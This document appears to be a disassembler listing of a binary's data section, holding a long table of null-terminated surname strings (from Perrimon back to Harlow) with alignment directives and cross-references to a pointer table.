		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E9D0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E9CCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E9C4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E9C0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E9BCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E9B8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E9B4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E9B0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E9ACo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E9A8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E9A4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E9A0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E99Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E998o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E994o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E990o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E98Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E988o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E984o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E980o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E97Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E978o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E974o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E970o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E96Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E968o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E964o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E960o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E95Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E958o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E954o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E950o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E94Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E948o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E944o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E940o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E93Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E938o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E934o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E930o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E92Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E928o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E924o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E920o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E91Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E918o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E914o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E910o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E90Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E908o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E904o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E900o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8FCo
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8F8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8F4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8F0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8ECo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8E8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8E4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8E0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8DCo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8D8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E8D4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E8D0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E8CCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E8C8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E8C4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E8C0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E8BCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E8B8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E8B4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E8B0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E8ACo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E8A8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E8A4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E8A0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E89Co
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E898o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E894o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E890o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E88Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E888o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E884o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E880o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E87Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E878o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E874o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E870o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E86Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E868o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E864o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E860o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E85Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E858o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E854o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E850o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E84Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E848o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E844o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E840o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E83Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E838o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E834o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E830o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E82Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E828o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E824o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E820o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E81Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E818o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E814o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E810o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E80Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E808o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E804o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E800o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7F8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7F4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7F0o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7ECo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7E8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7E4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7E0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7DCo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7D8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E7D4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E7D0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E7CCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E7C8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E7C4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E7C0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E7BCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E7B8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E7B4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E7B0o
aMay		db 'May',0              ; DATA XREF: ___:0042E7ACo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E7A8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E7A4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E7A0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E79Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E798o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E794o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E790o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E78Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E788o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E784o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E780o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E77Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E778o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E774o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E770o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E76Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E768o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E764o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E760o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E75Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E758o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E754o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E750o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E74Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E748o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E744o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E740o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E73Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E738o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E734o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E730o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E72Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E728o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E724o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E720o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E71Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E718o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E714o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E710o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E70Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E708o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E704o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E700o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6FCo
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6F8o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6F4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6F0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6ECo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6E8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6E4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6E0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6DCo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6D8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E6D4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E6D0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E6CCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E6C8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E6C4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E6C0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E6BCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E6B8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E6B0o
aLine		db 'Line',0             ; DATA XREF: ___:0042E6ACo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E6A8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E6A4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E6A0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E69Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E698o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E694o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E690o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E68Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E688o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E684o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E680o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E67Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E678o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E674o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E670o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E66Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E668o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E664o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E660o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E65Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E658o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E654o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E650o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E64Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E648o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E644o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E640o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E63Co
aLa		db 'La',0               ; DATA XREF: ___:0042E638o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E634o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E630o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E62Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E628o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E624o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E620o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E61Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E618o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E614o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E610o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E60Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E608o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E604o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E600o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5FCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5F8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5F4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5F0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5ECo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5E8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5E4o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5E0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5DCo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5D8o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E5D4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E5D0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E5CCo
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E5C8o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E5C4o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E5C0o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E5BCo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E5B8o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E5B4o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E5B0o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E5ACo
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E5A8o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E5A4o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E5A0o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E59Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E598o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E594o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E590o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E58Co
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E588o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E584o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E580o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E57Co
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E578o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042E574o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E570o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E56Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E568o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E564o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E560o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E55Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E558o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E554o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E550o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E54Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E548o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E544o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E540o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E53Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E538o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E534o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E530o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E52Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E528o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E524o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E520o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E51Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E518o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E514o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E510o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E50Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E508o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E504o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E500o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4FCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4F8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4F4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4F0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4E8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4E0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4DCo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4D8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E4D4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E4D0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E4CCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E4C8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E4C4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E4C0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E4BCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E4B8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E4B4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E4B0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E4ACo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E4A8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E4A4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E4A0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E49Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E498o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E494o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E490o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E48Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E488o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E484o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E480o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E47Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E478o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E474o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E470o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E46Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E468o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E464o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E460o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E45Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E458o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E454o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E450o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042E44Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E448o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E444o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E440o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E43Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E438o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E434o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E430o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E42Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E428o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E424o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E420o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E41Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E418o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E414o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E410o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E40Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E408o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E404o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E400o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3FCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3F8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3F4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3F0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3ECo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3E8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3E4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3E0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3DCo
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3D8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E3D4o
		align 4
